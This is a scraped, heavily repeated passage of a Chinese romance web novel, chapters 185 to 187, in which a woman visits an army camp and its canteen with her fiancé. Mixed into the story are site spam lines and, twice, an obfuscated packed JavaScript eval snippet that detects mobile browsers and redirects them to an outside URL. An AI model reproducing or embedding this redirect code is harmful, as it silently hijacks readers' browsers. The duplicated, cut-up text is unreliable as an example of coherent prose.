丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 第一百八十五章 当狗用 丁予期单手抄在口袋里,耸了下肩膀说:“唉,谁让我已经退役了呢,我们现在只能算普通群众,不能刷卡只能自费,想要什么标准当然是看自己的选择喽。 他有意让她放松心情,于是难得的没在嘴皮子上跟她争锋相对,而是俏皮的不得了。 宋凝脑海里紧绷着的那根弦成功放松了些许,开始跟着他的介绍在不同的窗口之间来回,将据说他当年评价很高的菜肴都打了几份,然后在一份黑椒牛柳面前发起愁来。 丁予期记得这道菜是很合她口味的,关切道:“这道菜有什么问题么? “没有。宋凝摇了摇头向他解释说,“我只是觉得该量力而行,再打菜就要吃不掉了,还不如想想主食吃什么好了。 话虽如此,可她已经怀疑自己能否吃得下主食了。 丁予期得知竟是这么个缘故,二话不说扫码付钱,打了一份黑椒牛柳道:“想吃就吃,别告诉我你都贫血了,竟然还打算减肥。 宋凝无奈道:“怎么可能?我是不想浪费。 丁予期意味深长的冲着她眨了下眼睛:“还记得我外公说过的话么? 今天陈老爷子跟宋凝说了许多话,让她这时去想他说过的哪句话跟眼下的情况有关的话,还真是一时间想不起来。 丁予期看她面带疑惑的模样是越看越觉得可爱,微微勾起唇角答道:“他不是跟你说过,让你千万别跟我客气,把我当成狗用就行,既然如此,剩饭交给我来解决不就是天经地义的了么? “歪理!宋凝反驳完毕,当然也不会接受这个一听就是开玩笑的建议,但这话倒是也启发了她,让她选择跟他一起分享食物。 两人面对面坐在一起,把各自的托盘凑到了一起,不像吃食堂,更像是在吃家常菜,前提是忽略时不时路过这里的其他人。 大伙儿都对丁予期念念不忘的白月光很好奇,仅仅是远远看一眼完全不足以打消他们的好奇心,于是当他跟宋凝坐定之后,时不时的就有从前相熟的人特意绕路往这边来一趟,就为了打个招呼。 “嫂子好! “丁哥,我们先走了,你跟嫂子慢慢吃! “嫂子,你真漂亮! “嫂子…… 他们每个人都热情洋溢,让宋凝每听到一句中气十足的打招呼声,就会马上放下筷子,礼貌的答复道:“你好。 言简意赅的两个字不难讲,但说的次数多了难免会影响她吃饭。 宋凝一顿饭吃的断断续续,眼 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 见来他们这里打招呼的人都快把这附近给变成景点了,丁予期终于是忍无可忍的起身,冲着最相熟的一个虚虚踹了一脚:“去,你们这帮家伙少跑过来凑热闹!” 这一脚毫不意外的没踹中,而被踹了的几个人则是一点也不生气,还是嘻嘻哈哈的继续调侃:“嫂子,我们明天再来看你!” 他们左一声“嫂子”,右一声“丁哥”,是已经默认了宋凝和丁予期的未婚夫妻关系。 宋凝起初还有几分脸红,但等听的次数多了,也就麻木起来了,索性没脸没皮的认了,反正她再尴尬也有丁予期在旁边陪着。 直到老姚他们带着唐婷和祝如星一起来了食堂,几个人一起笑眯眯的看着她。 宋凝果断选择埋头吃饭,试图把这件事糊弄过去。 唐婷想拉着祝如星一起小小的起个哄,好推一推宋凝和丁予期的进展,然而才刚看过去就发现祝如星竟然已经目光晶亮的在欣赏路过的年轻士兵了,别说助攻了,怕是连吃饭的事都忘了。 现在食堂里最不缺的就是男色和年轻健壮的荷尔蒙。 祝如星身为摄影师,向来对美好的人体很感兴趣,这时见到这么多身材极佳的年轻小伙子走在一起,心情别提多舒畅,就差直接从眼底冒出星星来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237884|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唐婷见她被男色所迷,这会儿是指望不上了,索性叹了口气,跟着一起欣赏起男色来。 大拿虽然已经退役,可毕竟在这里待了许多年,到了这里就跟回到自己家一样,当即秉承着来者是客的原则给她们两个讲明了在食堂里打饭的途径,顺便还介绍了几道他觉得不错的菜。 “部队里的狙击手平时也跟其他人一样来食堂吃饭么?”唐婷没忘记自己是来做什么的,好奇的问起了可能派得上用场的事。 大拿笑了一下,倒不是觉得她问的不聪明,而是很久没遇到这样率直的人了,耐心的解释说:“当然了,毕竟狙击手也是人,顶多就是射击技术好一些吧……” 他见她感兴趣,一鼓作气的同她说了许多部队里的事,凡是不涉密的部分基本都说了。 这天晚上,他们一行人在食堂待了很久,直到其他人都各自散去,就连炊事班也开始收拾起了桌面,才意犹未尽的离开。 宋凝见祝如星和唐婷在这里过得高兴,也跟着感到开心,只在回住处时略微感到些许忐忑。 丁予期下午带着她在军营里转了一圈,以他们两个的情况,肯定是男女宿舍都住不得,而家属院又是给已婚的士兵准备的,他们两个的条件也不符合,如此一来岂不是只能跑去住招待所? 军营里的招待所颇具时代气息,若是从欣赏建筑的角度看当然是很不错,可若是要她亲身体验住在里面的感受,想必就没那么美好了,尤其里面的房间恐怕只准备了一张床。 不等她把内心的担忧说出口,丁予期先一步出声道:“外公给我安排了晚训,今晚不知道什么时候能回去,你先回去休息吧。” 宋凝不失为难的表示:“可我还不知道宿舍在哪儿。” 丁予期将一串放在贴身口袋里的钥匙递给她说:“喏,上面的标签纸上写了楼号和房号,我从前来探望外公时在那边住过,环境跟卫斯理酒店比不了,但还算干净卫生。” 第一百八十六章 等我回来 他在正经办事的时候措辞向来谨慎,说是可以的话就意味着住着绝对称得上舒适。 应该是陈老爷子派人收拾够了。 但宋凝想说她在意的其实不是房间舒适与否,而是他们两个是不是适合在晚上共处一室。 且不说外公本人就在营地里,而且整个军营里除了几个军医之外,基本清一色的兵哥哥。 不管是外公还是其他军官都没有带太太过来共处一室的,丁予期只是个小辈,这样影响更不好。 更重要的是…… 她尴尬。 丁予期似乎看穿了她心中的想法,但故意勾着唇轻笑:“其他都不错,就是床只有一张。” 宋凝:“一张?” “嗯,不过你放心,是上下铺。这里可是部队,怎么可能有两米宽的双**床啊?” 上下铺? 宋凝听了这个,反而觉得轻松了一些。 “想好了吗?你住上铺还是下铺?” “上铺吧。” 丁予期点了点头:“也好,走吧,我先送你回去。” 这栋楼既不是招待所,也不像是家属院,瞧着更像是军营给在职人员配的宿舍,在这里进出的人员不只现役人员,还有像她一样穿着常服的人,在走廊上遇到微笑着打了个招呼。 宋凝不认识对方,但仍旧回了个微笑,心说大概是跟她一样来参观,或者有别的安排吧。 吱呀。 伴随着老旧木门被打开时发出的声响,简单干净的布置映入了宋凝眼帘。 等丁予期推开宿舍的门,看到里面的陈设,宋凝悬着的心才微微放下。 整个宿舍确实干净整洁,有一种质朴的安全感。 而且确实是一个上下铺的架子床。 这里面跟丁予期说的一样,该有的东西都有,环境不算新,但却绝对称得上是干净,就连行李箱也被提前放在了沙发旁边的角落里。 “你好好休息,我该去晚训了。老爷子确实是把我当狗训,每次回来都少不了的必修课。” 丁予期跟陈老爷子的相处模式宋凝还有些陌生,她不便说什么,微微点了点头。 丁予期轻笑着摸了摸她头发:“等我回来。” 说完,他转身跑了出去。 宋凝看着他离去的背影,微微叹了口气。 有点如释重负。 等她放松心情洗了个澡,等换好睡衣躺到床上,时间其实还早。 房间里的床帘遮光效果一般,跟卫斯理酒店 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 里的遮光帘尤其没得比,但影影绰绰的月光照在地板上的模样也别有一番静谧的美感。 宋凝很快就沉沉睡去。 不知过了多久,半梦半醒间察觉到有人往她身上加了条薄毯。 翌日早上,军营里的号角声响的比任何闹钟都更准时。 宋凝睡眼惺忪的起床,想去叫下铺的丁予期,但等拉开床帘才发现,下面那张床早就空了,就连被子也被折成了方方正正的豆腐块。 这人该不会是因为回到了军营,连带着从前的习惯也被唤醒了吧? 房间乍一看跟昨晚一模一样,但不远处的桌子上赫然多了个牛皮纸袋,宋凝走过去打开,发现里面除了温热的牛奶和馒头片,还有一张丁予期用熟悉字迹也就是便签: 【记得吃早餐,我去参加早训了,就在昨晚的操场。】 他没直说邀请宋凝一起去看,但能把地址说的这样清楚,就差直说请她尽快过去了,只是不知道早训跟晚训会不会有什么区别? 宋凝这样想着,用最快的速度吃完早餐,然后去了一趟女生宿舍,把祝如星和唐婷一起给叫上了。 两人原本还打算在号角声消失后睡个回笼觉,但得知有早训可看,还是立马就恢复了精神,连早饭都顾不上就要跟她一起过去,一路上聊得格外欢畅。 “我昨晚回来的时候特意注意过,楼里住着的女兵有的年纪比我大,有的比我小,但一个赛一个的 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唐婷看着他们古铜色的皮肤,不舍的摸了摸自己的面颊,是有些舍不得保养得当的细腻肌肤,但转念想起那个角色的重要性,还是眼一闭心一横道:“算了,豁出去了,谁让我想演呢!” 知名大导演的作品不是想演就能演的,据她所知,现在有意竞争女主角的演员少说也有两位数,其中还不乏比她更有名气,资历也更深的。 祝如星暂时从眼前的男色上收回目光,鼓励的同时不忘建议道:“我也相信你,而且下面这么多现成的参考案例呢,你有需要的话就去直接找一个顺眼的,让他给你当教练。” 宋凝从现实角度考虑过后,跟着附和道:“这倒是个好主意,既然是狙击手相关的电影,肯定会需要有军人背景的顾问参与制作,军营里的现役军人就算当不成顾问,也能给你提些建议。” 两人都认为这是个好主意,于是一边鼓励唐婷一边带着她往操场旁边走去,此时大部队已经结束了热身运动,开始进行正式训练了。 第一百八十七章 百闻不如一见 宋凝之前只是在军训的时候见过这个场面。 更大一些的就是国家的阅兵,兵哥哥们一个个身姿挺拔,排成整齐的方队铿锵走过,看得人心潮澎湃,甚至还有些热泪盈眶。 这种民族自豪感,是任何语言都无法描述的。 她一向很敬重这些在和平年代为人民负重前行的英雄们,跟祝如星的角度不同,她看到的只有雄伟英姿和振奋人心。 陈老爷子不知何时走了过来,轻笑着问道:“小凝早啊,怎么这么早起来了?把你吵醒了?” 宋凝连忙摇头:“外公一点都没有,是我想来看看。” 陈老爷子笑的意味深长:“看来你也有些军人情结?” 宋凝轻声说:“我觉得有个词形容的很贴切,严肃又活泼。” 陈老爷子哈哈笑:“也是,昨晚你跟着臭小子一起见过了他们活泼的一面,现在,也该看看他们严肃的一面了。” 陈老爷子话音刚落,宋凝就站直了身体表示敬重。 只见陈老爷子方才还是慈祥和蔼的长辈,当神情开始郑重的时候,那股威压感顿时袭来。 宋凝只是站在他身边,明显都能感觉到一股重重的压迫感。 “全体都有!” 陈老爷子的声音稳重嘹亮,一嗓子喊完,刚刚还在操场上嬉笑打闹的属下们立刻反应,排成了整齐的队伍。 宋凝看的瞠目结舌。 陈老爷子问她:“小凝,想看什么?” 宋凝顿时感觉这样不妥:“外公,我来这里原本就是打扰了你们训练的,不敢再让大家额外做什么给我看。” “没关系,”陈老爷子说:“也不是专门给你看,现在差不多也到了早训时间。” 他看了看手腕上的手表,然后温柔地看向她。 等待她的回答。 宋凝迟疑着说:“那就按照日常训练就好,我观摩……不,我瞻仰。” “好。” 陈老爷子没有像昨天一样穿全套军装,而是老当益壮的也换上了迷彩服,转头吩咐了身边的副官。 副官微微一点头,扬声道:“丁予期,出列!” “到!” 宋凝被这一嗓子吼的愣住了。 她从来没想过,那个总是吊儿郎当的人,突然像是变了一个人一样,整个人都透着一股坚如磐石的力量。 跟他平时很不一样。 陈老爷子余光瞥见不远处的宋凝她们,立刻给外孙安排了一个现成的任务,不为别的,就为 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一边笑嘻嘻的调侃:“丁哥,嫂子在旁边看着呢,你可千万别露怯!” “归你的队去!”丁予期虚虚的踢了他一下。 班长很有先见之明的闪开,等回到队伍里,却是没忘了悄悄地给其他人也指一下宋凝她们所在的方向。 大部队自从入伍之后就没怎么跟异性接触过,平时能见到女兵的次数都屈指可数,这会儿忽然见到三个年轻靓丽的女孩子站在一起,个个眼睛发直,争先恐后的想在她们面前表现一番。 丁予期登时醋海翻波,恨不能立刻去把宋凝藏起来,让别人都不许看她,奈何他比任何人都更清楚她不喜欢这样,唯有深呼吸一口,朗声道:“全体都有!一二三,预备跑!” 军营里最管用的就是命令。 众人收到指令,立刻全都把目光收了回去,开始带着绑在腿上的沙袋进行负重跑,随身带起的沙尘一阵飞扬。 宋凝知道军营里的负重跑必然标准不低,可眼见着他们腿上绑着这么重的东西,却还是跑的比她不负重都快,不禁心生向往道:“不知道我从现实开始锻炼的话还来不来得及。” 唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一边笑嘻嘻的调侃:“丁哥,嫂子在旁边看着呢,你可千万别露怯!” “归你的队去!”丁予期虚虚的踢了他一下。 班长很有先见之明的闪开,等回到队伍里,却是没忘了悄悄地给其他人也指一下宋凝她们所在的方向。 大部队自从入伍之后就没怎么跟异性接触过,平时能见到女兵的次数都屈指可数,这会儿忽然见到三个年轻靓丽的女孩子站在一起,个个眼睛发直,争先恐后的想在她们面前表现一番。 丁予期登时醋海翻波,恨不能立刻去把宋凝藏起来,让别人都不许看她,奈何他比任何人都更清楚她不喜欢这样,唯有深呼吸一口,朗声道:“全体都有!一二三,预备跑!” 军营里最管用的就是命令。 众人收到指令,立刻全都把目光收了回去,开始带着绑在腿上的沙袋进行负重跑,随身带起的沙尘一阵飞扬。 宋凝知道军营里的负重跑必然标准不低,可眼见着他们腿上绑着这么重的东西,却还是跑的比她不负重都快,不禁心生向往道:“不知道我从现实开始锻炼的话还来不来得及。” 唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 他脊背上有许多道长条形状的旧疤痕,瞧着不深,可是发现后就会令人无法忽视。 宋凝疑惑的拧起眉心,执着的跟着走了几步,是想要看清楚他身上的伤痕具体是怎么造成的,但还不等她在这里等他们跑到第二圈,陈老爷子先走过来了。 陈老爷子和蔼可亲的问:“怎么样?他们跑的还算齐整吧?” 了让丁予期能在喜欢的女孩子面前多出出风头。 “开始早训!” “是!”丁予期目不斜视的应声,然后毫不犹豫的站到大部队一侧开始了他的领队任务。 先前负责领队的班长是陈老爷子一手带出来的部下,跟丁予期自然也早就认识了,这时便一边让位一边笑嘻嘻的调侃:“丁哥,嫂子在旁边看着呢,你可千万别露怯!” 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宋凝知道军营里的负重跑必然标准不低,可眼见着他们腿上绑着这么重的东西,却还是跑的比她不负重都快,不禁心生向往道:“不知道我从现实开始锻炼的话还来不来得及。” 唐婷看的心里一阵没底,拉着身侧的两位闺蜜继续往前走,同时咬牙道:“从现在开始就不算晚,我决定从现在开始尽量让自己向他们靠近,虽然肯定无法做到一样,但总比不去做强。” 她的行动力不是一般的高,让宋凝和祝如星想后悔都来不及,而等她们靠到近处,挥汗如雨的大部队们已经把上衣都脱了。 祝如星见到这么多人齐刷刷的露肌肉,捂着鼻子说:“不行了,我要流鼻血了……” 这么多身材极好的光膀子兵哥哥凑在一起,人数比她从业以来见过的新郎还多,虽然不是每个人都帅,但在荷尔蒙的加持下怎么看都赏心悦目多了。 唐婷果断递了纸巾过去,倒是没耽误继续看。 宋凝从旁看着她们两个嬉闹玩笑,心情大好的同时也按捺住内心的尴尬和忐忑,多往正在负重跑的大部队方向看了一眼。 说来也巧,她这一眼正好落到了队伍边缘的丁予期身上。 晨光没有午后的阳光那么刺目耀眼,但却恰到好处的给丁予期的脊背镀上了一层古铜色的光晕,让宋凝顿时体会到了祝如星的心情——情感上抵抗不了对男色的欣赏,理智上更是当场宕机。 偏偏丁予期还有所察觉的挺直了脊背,显得他宽肩细腰的好身材格外夺目,哪怕是同比他年轻的多的士兵相比也毫不逊色。 宋凝只觉得面颊变得更烫了一分,一颗心也开始噗通直跳,她抬手捂上心口,正想着要不要缓和一下情绪的同时,目之所及的场景中忽然多了点从前不曾注意到的异样。 丁予期没在她面前掩饰过自己的身材,否则她也不能发现他手臂上的陈年疤痕,可她从前压根不曾注意过他身上其它更醒目的地方,譬如令人看一眼就脸红心跳的宽阔后背。 